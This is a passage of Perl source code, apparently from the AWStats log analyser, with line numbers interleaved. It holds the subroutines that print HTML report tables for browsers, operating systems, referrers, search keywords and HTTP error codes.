                        $keywithoutcumul =~ s/cumul$//i;
 
10742
                        my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
 
10743
                          || $keywithoutcumul;
 
10744
                        my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
 
10745
                          || "notavailable";
 
10746
                        print "<td"
 
10747
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10748
                          . "><img src=\"$DirIcons\/browser\/$nameicon.png\""
 
10749
                          . AltTitle("")
 
10750
                          . " /></td><td class=\"aws\">$libbrowser</td><td>"
 
10751
                          . (
 
10752
                                $BrowsersHereAreGrabbers{$key}
 
10753
                                ? "<b>$Message[112]</b>"
 
10754
                                : "$Message[113]"
 
10755
                          )
 
10756
                          . "</td>";
 
10757
                }
 
10758
                my $bredde_h = 0;
 
10759
                if ( $max_h > 0 ) {
 
10760
                        $bredde_h =
 
10761
                          int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) +
 
10762
                          1;
 
10763
                }
 
10764
                if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
 
10765
                        $bredde_h = 2;
 
10766
                }
 
10767
                print "<td>".Format_Number($_browser_h{$key})."</td><td>$p</td>";
 
10768
                print "<td class=\"aws\">";
 
10769
 
 
10770
                # alt and title are not provided to reduce page size
 
10771
                if ($ShowBrowsersStats) {
 
10772
                        print
 
10773
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
 
10774
                }
 
10775
                print "</td>";
 
10776
                print "</tr>\n";
 
10777
        }
 
10778
        &tab_end();
 
10779
        &html_end(1);
 
10780
}
 
10781
 
 
10782
#------------------------------------------------------------------------------
 
10783
# Function:     Prints the Unknown Browser Detail frame or static page
 
10784
# Parameters:   _
 
10785
# Input:        _
 
10786
# Output:       HTML
 
10787
# Return:       -
 
10788
#------------------------------------------------------------------------------
 
10789
sub HTMLShowBrowserUnknown{
 
10790
        print "$Center<a name=\"unknownbrowser\">&nbsp;</a><br />\n";
 
10791
        my $title = "$Message[50]";
 
10792
        &tab_head( "$title", 19, 0, 'unknownbrowser' );
 
10793
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
 
10794
          . ( scalar keys %_unknownrefererbrowser_l )
 
10795
          . ")</th><th>$Message[9]</th></tr>\n";
 
10796
        my $total_l = 0;
 
10797
        my $count = 0;
 
10798
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
 
10799
                \%_unknownrefererbrowser_l );
 
10800
        foreach my $key (@keylist) {
 
10801
                my $useragent = XMLEncode( CleanXSS($key) );
 
10802
                print
 
10803
                  "<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">"
 
10804
                  . Format_Date( $_unknownrefererbrowser_l{$key}, 1 )
 
10805
                  . "</td></tr>\n";
 
10806
                $total_l += 1;
 
10807
                $count++;
 
10808
        }
 
10809
        my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l;
 
10810
        if ( $rest_l > 0 ) {
 
10811
                print
 
10812
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
10813
                print "<td>-</td>";
 
10814
                print "</tr>\n";
 
10815
        }
 
10816
        &tab_end();
 
10817
        &html_end(1);
 
10818
}
 
10819
 
 
10820
#------------------------------------------------------------------------------
 
10821
# Function:     Prints the OS Detail frame or static page
 
10822
# Parameters:   _
 
10823
# Input:        _
 
10824
# Output:       HTML
 
10825
# Return:       -
 
10826
#------------------------------------------------------------------------------
 
10827
sub HTMLShowOSDetail{
 
10828
        # Show os versions
 
10829
        print "$Center<a name=\"osversions\">&nbsp;</a><br />";
 
10830
        my $title = "$Message[59]";
 
10831
        &tab_head( "$title", 19, 0, 'osversions' );
 
10832
        print
 
10833
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
 
10834
        print
 
10835
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
10836
        print "<th>&nbsp;</th>";
 
10837
        print "</tr>\n";
 
10838
        my $total_h = 0;
 
10839
        my $count = 0;
 
10840
        &BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
 
10841
                1, \%_os_h, \%_os_h );
 
10842
        my %keysinkeylist = ();
 
10843
        my $max_h = 1;
 
10844
 
 
10845
        # Count total by family
 
10846
        my %totalfamily_h = ();
 
10847
        my $TotalFamily   = 0;
 
10848
  OSLOOP: foreach my $key (@keylist) {
 
10849
                $total_h += $_os_h{$key};
 
10850
                if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; }
 
10851
                foreach my $family ( keys %OSFamily ) {
 
10852
                        if ( $key =~ /^$family/i ) {
 
10853
                                $totalfamily_h{$family} += $_os_h{$key};
 
10854
                                $TotalFamily            += $_os_h{$key};
 
10855
                                next OSLOOP;
 
10856
                        }
 
10857
                }
 
10858
        }
 
10859
 
 
10860
        # Write records grouped in a browser family
 
10861
        foreach my $family ( keys %OSFamily ) {
 
10862
                my $p = '&nbsp;';
 
10863
                if ($total_h) {
 
10864
                        $p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
 
10865
                        $p = "$p %";
 
10866
                }
 
10867
                my $familyheadershown = 0;
 
10868
                foreach my $key ( reverse sort keys %_os_h ) {
 
10869
                        if ( $key =~ /^$family(.*)/i ) {
 
10870
                                if ( !$familyheadershown ) {
 
10871
                                        my $family_name = '';
 
10872
                                        if ( $OSFamily{$family} ) {
 
10873
                                                $family_name = $OSFamily{$family};
 
10874
                                        }
 
10875
                                        print
 
10876
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
 
10877
                                        print "<td><b>"
 
10878
                                          . Format_Number(int( $totalfamily_h{$family} ))
 
10879
                                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
 
10880
                                        print "</tr>\n";
 
10881
                                        $familyheadershown = 1;
 
10882
                                }
 
10883
                                $keysinkeylist{$key} = 1;
 
10884
                                my $ver = $1;
 
10885
                                my $p   = '&nbsp;';
 
10886
                                if ($total_h) {
 
10887
                                        $p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
 
10888
                                        $p = "$p %";
 
10889
                                }
 
10890
                                print "<tr>";
 
10891
                                print "<td"
 
10892
                                  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10893
                                  . "><img src=\"$DirIcons\/os\/$key.png\""
 
10894
                                  . AltTitle("")
 
10895
                                  . " /></td>";
 
10896
 
 
10897
                                print "<td class=\"aws\">$OSHashLib{$key}</td>";
 
10898
                                my $bredde_h = 0;
 
10899
                                if ( $max_h > 0 ) {
 
10900
                                        $bredde_h =
 
10901
                                          int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h )
 
10902
                                          + 1;
 
10903
                                }
 
10904
                                if ( ( $bredde_h == 1 ) && $_os_h{$key} ) {
 
10905
                                        $bredde_h = 2;
 
10906
                                }
 
10907
                                print "<td>".Format_Number($_os_h{$key})."</td><td>$p</td>";
 
10908
                                print "<td class=\"aws\">";
 
10909
 
 
10910
                                # alt and title are not provided to reduce page size
 
10911
                                if ($ShowOSStats) {
 
10912
                                        print
 
10913
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
 
10914
                                }
 
10915
                                print "</td>";
 
10916
                                print "</tr>\n";
 
10917
                                $count++;
 
10918
                        }
 
10919
                }
 
10920
        }
 
10921
 
 
10922
        # Write other records
 
10923
        my $familyheadershown = 0;
 
10924
        foreach my $key (@keylist) {
 
10925
                if ( $keysinkeylist{$key} ) { next; }
 
10926
                if ( !$familyheadershown )  {
 
10927
                        my $p = '&nbsp;';
 
10928
                        if ($total_h) {
 
10929
                                $p =
 
10930
                                  int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
 
10931
                                  10;
 
10932
                                $p = "$p %";
 
10933
                        }
 
10934
                        print
 
10935
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
 
10936
                        print "<td><b>"
 
10937
                          . Format_Number(( $total_h - $TotalFamily ))
 
10938
                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
 
10939
                        print "</tr>\n";
 
10940
                        $familyheadershown = 1;
 
10941
                }
 
10942
                my $p = '&nbsp;';
 
10943
                if ($total_h) {
 
10944
                        $p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
 
10945
                        $p = "$p %";
 
10946
                }
 
10947
                print "<tr>";
 
10948
                if ( $key eq 'Unknown' ) {
 
10949
                        print "<td"
 
10950
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10951
                          . "><img src=\"$DirIcons\/browser\/unknown.png\""
 
10952
                          . AltTitle("")
 
10953
                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
 
10954
                }
 
10955
                else {
 
10956
                        my $keywithoutcumul = $key;
 
10957
                        $keywithoutcumul =~ s/cumul$//i;
 
10958
                        my $libos = $OSHashLib{$keywithoutcumul}
 
10959
                          || $keywithoutcumul;
 
10960
                        my $nameicon = $keywithoutcumul;
 
10961
                        $nameicon =~ s/[^\w]//g;
 
10962
                        print "<td"
 
10963
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10964
                          . "><img src=\"$DirIcons\/os\/$nameicon.png\""
 
10965
                          . AltTitle("")
 
10966
                          . " /></td><td class=\"aws\">$libos</td>";
 
10967
                }
 
10968
                my $bredde_h = 0;
 
10969
                if ( $max_h > 0 ) {
 
10970
                        $bredde_h =
 
10971
                          int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1;
 
10972
                }
 
10973
                if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; }
 
10974
                print "<td>".Format_Number($_os_h{$key})."</td><td>$p</td>";
 
10975
                print "<td class=\"aws\">";
 
10976
 
 
10977
                # alt and title are not provided to reduce page size
 
10978
                if ($ShowOSStats) {
 
10979
                        print
 
10980
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
 
10981
                }
 
10982
                print "</td>";
 
10983
                print "</tr>\n";
 
10984
        }
 
10985
        &tab_end();
 
10986
        &html_end(1);
 
10987
}
 
10988
 
 
10989
#------------------------------------------------------------------------------
 
10990
# Function:     Prints the Unkown OS Detail frame or static page
 
10991
# Parameters:   _
 
10992
# Input:        _
 
10993
# Output:       HTML
 
10994
# Return:       -
 
10995
#------------------------------------------------------------------------------
 
10996
sub HTMLShowOSUnknown{
 
10997
        print "$Center<a name=\"unknownos\">&nbsp;</a><br />\n";
 
10998
        my $title = "$Message[46]";
 
10999
        &tab_head( "$title", 19, 0, 'unknownos' );
 
11000
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
 
11001
          . ( scalar keys %_unknownreferer_l )
 
11002
          . ")</th><th>$Message[9]</th></tr>\n";
 
11003
        my $total_l = 0;
 
11004
        my $count = 0;
 
11005
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
 
11006
                \%_unknownreferer_l );
 
11007
        foreach my $key (@keylist) {
 
11008
                my $useragent = XMLEncode( CleanXSS($key) );
 
11009
                print "<tr><td class=\"aws\">$useragent</td>";
 
11010
                print "<td nowrap=\"nowrap\">"
 
11011
                  . Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>";
 
11012
                print "</tr>\n";
 
11013
                $total_l += 1;
 
11014
                $count++;
 
11015
        }
 
11016
        my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l;
 
11017
        if ( $rest_l > 0 ) {
 
11018
                print
 
11019
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
11020
                print "<td>-</td>";
 
11021
                print "</tr>\n";
 
11022
        }
 
11023
        &tab_end();
 
11024
        &html_end(1);
 
11025
}
 
11026
 
 
11027
#------------------------------------------------------------------------------
 
11028
# Function:     Prints the Referers frame or static page
 
11029
# Parameters:   _
 
11030
# Input:        _
 
11031
# Output:       HTML
 
11032
# Return:       -
 
11033
#------------------------------------------------------------------------------
 
11034
sub HTMLShowReferers{
 
11035
        print "$Center<a name=\"refererse\">&nbsp;</a><br />\n";
 
11036
        my $title = "$Message[40]";
 
11037
        &tab_head( "$title", 19, 0, 'refererse' );
 
11038
        print
 
11039
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>";
 
11040
        print
 
11041
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
 
11042
        print
 
11043
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
11044
        print "</tr>\n";
 
11045
        my $total_s = 0;
 
11046
        my $total_p = 0;
 
11047
        my $total_h = 0;
 
11048
        my $rest_p = 0;
 
11049
        my $rest_h = 0;
 
11050
        my $count = 0;
 
11051
        &BuildKeyList(
 
11052
                $MaxRowsInHTMLOutput,
 
11053
                $MinHit{'Refer'},
 
11054
                \%_se_referrals_h,
 
11055
                (
 
11056
                        ( scalar keys %_se_referrals_p )
 
11057
                        ? \%_se_referrals_p
 
11058
                        : \%_se_referrals_h
 
11059
                )
 
11060
        );    # before 5.4 only hits were recorded
 
11061
 
 
11062
        foreach my $key (@keylist) {
 
11063
                my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key);
 
11064
                my $p_p;
 
11065
                my $p_h;
 
11066
                if ($TotalSearchEnginesPages) {
 
11067
                        $p_p =
 
11068
                          int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
 
11069
                                  1000 ) / 10;
 
11070
                }
 
11071
                if ($TotalSearchEnginesHits) {
 
11072
                        $p_h =
 
11073
                          int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
 
11074
                                  1000 ) / 10;
 
11075
                }
 
11076
                print "<tr><td class=\"aws\">$newreferer</td>";
 
11077
                print "<td>"
 
11078
                  . (
 
11079
                        $_se_referrals_p{$key} ? $_se_referrals_p{$key} : '&nbsp;' )
 
11080
                  . "</td>";
 
11081
                print "<td>"
 
11082
                  . ( $_se_referrals_p{$key} ? "$p_p %" : '&nbsp;' ) . "</td>";
 
11083
                print "<td>".Format_Number($_se_referrals_h{$key})."</td>";
 
11084
                print "<td>$p_h %</td>";
 
11085
                print "</tr>\n";
 
11086
                $total_p += $_se_referrals_p{$key};
 
11087
                $total_h += $_se_referrals_h{$key};
 
11088
                $count++;
 
11089
        }
 
11090
        if ($Debug) {
 
11091
                debug(
 
11092
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
 
11093
                        2
 
11094
                );
 
11095
        }
 
11096
        $rest_p = $TotalSearchEnginesPages - $total_p;
 
11097
        $rest_h = $TotalSearchEnginesHits - $total_h;
 
11098
        if ( $rest_p > 0 || $rest_h > 0 ) {
 
11099
                my $p_p;
 
11100
                my $p_h;
 
11101
                if ($TotalSearchEnginesPages) {
 
11102
                        $p_p =
 
11103
                          int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10;
 
11104
                }
 
11105
                if ($TotalSearchEnginesHits) {
 
11106
                        $p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10;
 
11107
                }
 
11108
                print
 
11109
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
11110
                print "<td>" . ( $rest_p ? Format_Number($rest_p)  : '&nbsp;' ) . "</td>";
 
11111
                print "<td>" . ( $rest_p ? "$p_p %" : '&nbsp;' ) . "</td>";
 
11112
                print "<td>".Format_Number($rest_h)."</td>";
 
11113
                print "<td>$p_h %</td>";
 
11114
                print "</tr>\n";
 
11115
        }
 
11116
        &tab_end();
 
11117
        &html_end(1);
 
11118
}
 
11119
 
 
11120
#------------------------------------------------------------------------------
 
11121
# Function:     Prints the Referer Pages frame or static page
 
11122
# Parameters:   _
 
11123
# Input:        _
 
11124
# Output:       HTML
 
11125
# Return:       -
 
11126
#------------------------------------------------------------------------------
 
11127
sub HTMLShowRefererPages{
 
11128
        print "$Center<a name=\"refererpages\">&nbsp;</a><br />\n";
 
11129
        my $total_p = 0;
 
11130
        my $total_h = 0;
 
11131
        my $rest_p = 0;
 
11132
        my $rest_h = 0;
 
11133
 
 
11134
        # Show filter form
 
11135
        &HTMLShowFormFilter(
 
11136
                "refererpagesfilter",
 
11137
                $FilterIn{'refererpages'},
 
11138
                $FilterEx{'refererpages'}
 
11139
        );
 
11140
        my $title = "$Message[41]";
 
11141
        my $cpt   = 0;
 
11142
        $cpt = ( scalar keys %_pagesrefs_h );
 
11143
        &tab_head( "$title", 19, 0, 'refererpages' );
 
11144
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
 
11145
        if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
 
11146
 
 
11147
                if ( $FilterIn{'refererpages'} ) {
 
11148
                        print "$Message[79] <b>$FilterIn{'refererpages'}</b>";
 
11149
                }
 
11150
                if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) {
 
11151
                        print " - ";
 
11152
                }
 
11153
                if ( $FilterEx{'refererpages'} ) {
 
11154
                        print
 
11155
                          "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>";
 
11156
                }
 
11157
                if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
 
11158
                        print ": ";
 
11159
                }
 
11160
                print "$cpt $Message[28]";
 
11161
 
 
11162
                #if ($MonthRequired ne 'all') {
 
11163
                #       if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
 
11164
                #}
 
11165
        }
 
11166
        else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
 
11167
        print "</th>";
 
11168
        print
 
11169
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
 
11170
        print
 
11171
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
11172
        print "</tr>\n";
 
11173
        my $total_s = 0;
 
11174
        my $count = 0;
 
11175
        &BuildKeyList(
 
11176
                $MaxRowsInHTMLOutput,
 
11177
                $MinHit{'Refer'},
 
11178
                \%_pagesrefs_h,
 
11179
                (
 
11180
                        ( scalar keys %_pagesrefs_p )
 
11181
                        ? \%_pagesrefs_p
 
11182
                        : \%_pagesrefs_h
 
11183
                )
 
11184
        );
 
11185
 
 
11186
        foreach my $key (@keylist) {
 
11187
                my $nompage = CleanXSS($key);
 
11188
                if ( length($nompage) > $MaxLengthOfShownURL ) {
 
11189
                        $nompage =
 
11190
                          substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
 
11191
                }
 
11192
                my $p_p;
 
11193
                my $p_h;
 
11194
                if ($TotalRefererPages) {
 
11195
                        $p_p =
 
11196
                          int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) /
 
11197
                          10;
 
11198
                }
 
11199
                if ($TotalRefererHits) {
 
11200
                        $p_h =
 
11201
                          int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) /
 
11202
                          10;
 
11203
                }
 
11204
                print "<tr><td class=\"aws\">";
 
11205
                &HTMLShowURLInfo($key);
 
11206
                print "</td>";
 
11207
                print "<td>"
 
11208
                  . ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : '&nbsp;' )
 
11209
                  . "</td><td>"
 
11210
                  . ( $_pagesrefs_p{$key} ? "$p_p %" : '&nbsp;' ) . "</td>";
 
11211
                print "<td>"
 
11212
                  . ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : '&nbsp;' )
 
11213
                  . "</td><td>"
 
11214
                  . ( $_pagesrefs_h{$key} ? "$p_h %" : '&nbsp;' ) . "</td>";
 
11215
                print "</tr>\n";
 
11216
                $total_p += $_pagesrefs_p{$key};
 
11217
                $total_h += $_pagesrefs_h{$key};
 
11218
                $count++;
 
11219
        }
 
11220
        if ($Debug) {
 
11221
                debug(
 
11222
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
 
11223
                        2
 
11224
                );
 
11225
        }
 
11226
        $rest_p = $TotalRefererPages - $total_p;
 
11227
        $rest_h = $TotalRefererHits - $total_h;
 
11228
        if ( $rest_p > 0 || $rest_h > 0 ) {
 
11229
                my $p_p;
 
11230
                my $p_h;
 
11231
                if ($TotalRefererPages) {
 
11232
                        $p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10;
 
11233
                }
 
11234
                if ($TotalRefererHits) {
 
11235
                        $p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10;
 
11236
                }
 
11237
                print
 
11238
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
11239
                print "<td>" . ( $rest_p ? Format_Number($rest_p)  : '&nbsp;' ) . "</td>";
 
11240
                print "<td>" . ( $rest_p ? "$p_p %" : '&nbsp;' ) . "</td>";
 
11241
                print "<td>".Format_Number($rest_h)."</td>";
 
11242
                print "<td>$p_h %</td>";
 
11243
                print "</tr>\n";
 
11244
        }
 
11245
        &tab_end();
 
11246
        &html_end(1);
 
11247
}
 
11248
 
 
11249
#------------------------------------------------------------------------------
 
11250
# Function:     Prints the Key Phrases frame or static page
 
11251
# Parameters:   _
 
11252
# Input:        _
 
11253
# Output:       HTML
 
11254
# Return:       -
 
11255
#------------------------------------------------------------------------------
 
11256
sub HTMLShowKeyPhrases{
 
11257
        print "$Center<a name=\"keyphrases\">&nbsp;</a><br />\n";
 
11258
        &tab_head( $Message[43], 19, 0, 'keyphrases' );
 
11259
        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
 
11260
          . Tooltip(15)
 
11261
          . "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
 
11262
        my $total_s = 0;
 
11263
        my $count = 0;
 
11264
        &BuildKeyList(
 
11265
                $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
 
11266
                \%_keyphrases,        \%_keyphrases
 
11267
        );
 
11268
        foreach my $key (@keylist) {
 
11269
                my $mot;
 
11270
                # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
 
11271
                if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
 
11272
                        $mot = CleanXSS(
 
11273
                                DecodeKey_decodeutfkeys(
 
11274
                                        $key, $PageCode || 'iso-8859-1'
 
11275
                                )
 
11276
                        );
 
11277
                }
 
11278
                else { $mot = CleanXSS( DecodeEncodedString($key) ); }
 
11279
                my $p;
 
11280
                if ($TotalKeyphrases) {
 
11281
                        $p =
 
11282
                          int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
 
11283
                }
 
11284
                print "<tr><td class=\"aws\">"
 
11285
                  . XMLEncode($mot)
 
11286
                  . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
 
11287
                $total_s += $_keyphrases{$key};
 
11288
                $count++;
 
11289
        }
 
11290
        if ($Debug) {
 
11291
                debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
 
11292
        }
 
11293
        my $rest_s = $TotalKeyphrases - $total_s;
 
11294
        if ( $rest_s > 0 ) {
 
11295
                my $p;
 
11296
                if ($TotalKeyphrases) {
 
11297
                        $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
 
11298
                }
 
11299
                print
 
11300
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>";
 
11301
                                print "<td>$p %</td></tr>\n";
 
11302
        }
 
11303
        &tab_end();
 
11304
        &html_end(1);
 
11305
}
 
11306
 
 
11307
#------------------------------------------------------------------------------
 
11308
# Function:     Prints the Keywords frame or static page
 
11309
# Parameters:   _
 
11310
# Input:        _
 
11311
# Output:       HTML
 
11312
# Return:       -
 
11313
#------------------------------------------------------------------------------
 
11314
sub HTMLShowKeywords{
 
11315
        print "$Center<a name=\"keywords\">&nbsp;</a><br />\n";
 
11316
        &tab_head( $Message[44], 19, 0, 'keywords' );
 
11317
        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
 
11318
          . Tooltip(15)
 
11319
          . "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
 
11320
        my $total_s = 0;
 
11321
        my $count = 0;
 
11322
        &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
 
11323
                \%_keywords, \%_keywords );
 
11324
        foreach my $key (@keylist) {
 
11325
                my $mot;
 
11326
                # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
 
11327
                if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
 
11328
                        $mot = CleanXSS(
 
11329
                                DecodeKey_decodeutfkeys(
 
11330
                                        $key, $PageCode || 'iso-8859-1'
 
11331
                                )
 
11332
                        );
 
11333
                }
 
11334
                else { $mot = CleanXSS( DecodeEncodedString($key) ); }
 
11335
                my $p;
 
11336
                if ($TotalKeywords) {
 
11337
                        $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
 
11338
                }
 
11339
                print "<tr><td class=\"aws\">"
 
11340
                  . XMLEncode($mot)
 
11341
                  . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
 
11342
                $total_s += $_keywords{$key};
 
11343
                $count++;
 
11344
        }
 
11345
        if ($Debug) {
 
11346
                debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
 
11347
        }
 
11348
        my $rest_s = $TotalKeywords - $total_s;
 
11349
        if ( $rest_s > 0 ) {
 
11350
                my $p;
 
11351
                if ($TotalKeywords) {
 
11352
                        $p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
 
11353
                }
 
11354
                print
 
11355
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>";
 
11356
                print "<td>$p %</td></tr>\n";
 
11357
        }
 
11358
        &tab_end();
 
11359
        &html_end(1);
 
11360
}
 
11361
 
 
11362
#------------------------------------------------------------------------------
 
11363
# Function:     Prints the HTTP Error code frame or static page
 
11364
# Parameters:   $code - the error code we're printing
 
11365
# Input:        _
 
11366
# Output:       HTML
 
11367
# Return:       -
 
11368
#------------------------------------------------------------------------------
 
11369
sub HTMLShowErrorCodes{
 
11370
        my $code = shift;
 
11371
        print "$Center<a name=\"errors$code\">&nbsp;</a><br />\n";
 
11372
        &tab_head( $Message[47], 19, 0, "errors$code" );
 
11373
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL ("
 
11374
          . Format_Number(( scalar keys %_sider404_h ))
 
11375
          . ")</th><th bgcolor=\"#$color_h\">$Message[49]</th><th>$Message[23]</th></tr>\n";
 
11376
        my $total_h = 0;
 
11377
        my $count = 0;
 
11378
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_sider404_h,
 
11379
                \%_sider404_h );
 
11380
        foreach my $key (@keylist) {
 
11381
                my $nompage = XMLEncode( CleanXSS($key) );
 
11382
 
 
11383
                #if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
 
11384
                my $referer = XMLEncode( CleanXSS( $_referer404_h{$key} ) );
 
11385
                print "<tr><td class=\"aws\">$nompage</td>";
 
11386
                print "<td>".Format_Number($_sider404_h{$key})."</td>";
 
11387
                print "<td class=\"aws\">"
 
11388
                  . ( $referer ? "$referer" : "&nbsp;" ) . "</td>";
 
11389
                print "</tr>\n";
 
11390
                my $total_s += $_sider404_h{$key};
 
11391
                $count++;
 
11392
        }
 
11393
 
 
11394
# TODO Build TotalErrorHits
 
11395
#                       if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
 
11396
#                       $rest_h=$TotalErrorHits-$total_h;
 
11397
#                       if ($rest_h > 0) {
 
11398
#                               my $p;
 
11399
#                               if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
 
11400
#                               print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
 
11401
#                               print "<td>$rest_h</td>";
 
11402
#                               print "<td>...</td>";
 
11403
#                               print "</tr>\n";
 
11404
#                       }
 
11405
        &tab_end();
 
11406
        &html_end(1);
 
11407
}
 
11408
 
 
11409
#------------------------------------------------------------------------------
 
11410
# Function:     Loops through any defined extra sections and dumps the info to HTML
 
11411
# Parameters:   _
 
11412
# Input:        _
 
11413
# Output:       HTML
 
11414
# Return:       -
 
11415
#------------------------------------------------------------------------------
 
11416
sub HTMLShowExtraSections{
 
11417
        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
11418
                my $total_p = 0;
 
11419
                my $total_h = 0;
 
11420
                my $total_k = 0;
 
11421
                
 
11422
                if ( $HTMLOutput{"allextra$extranum"} ) {
 
11423
                        if ($Debug) { debug( "ExtraName$extranum", 2 ); }
 
11424
                        print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
 
11425
                        my $title = $ExtraName[$extranum];
 
11426
                        &tab_head( "$title ($Message[77] $MaxNbOfExtra[$extranum])", 19, 0, "extra$extranum");
 
11427
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
 
11428
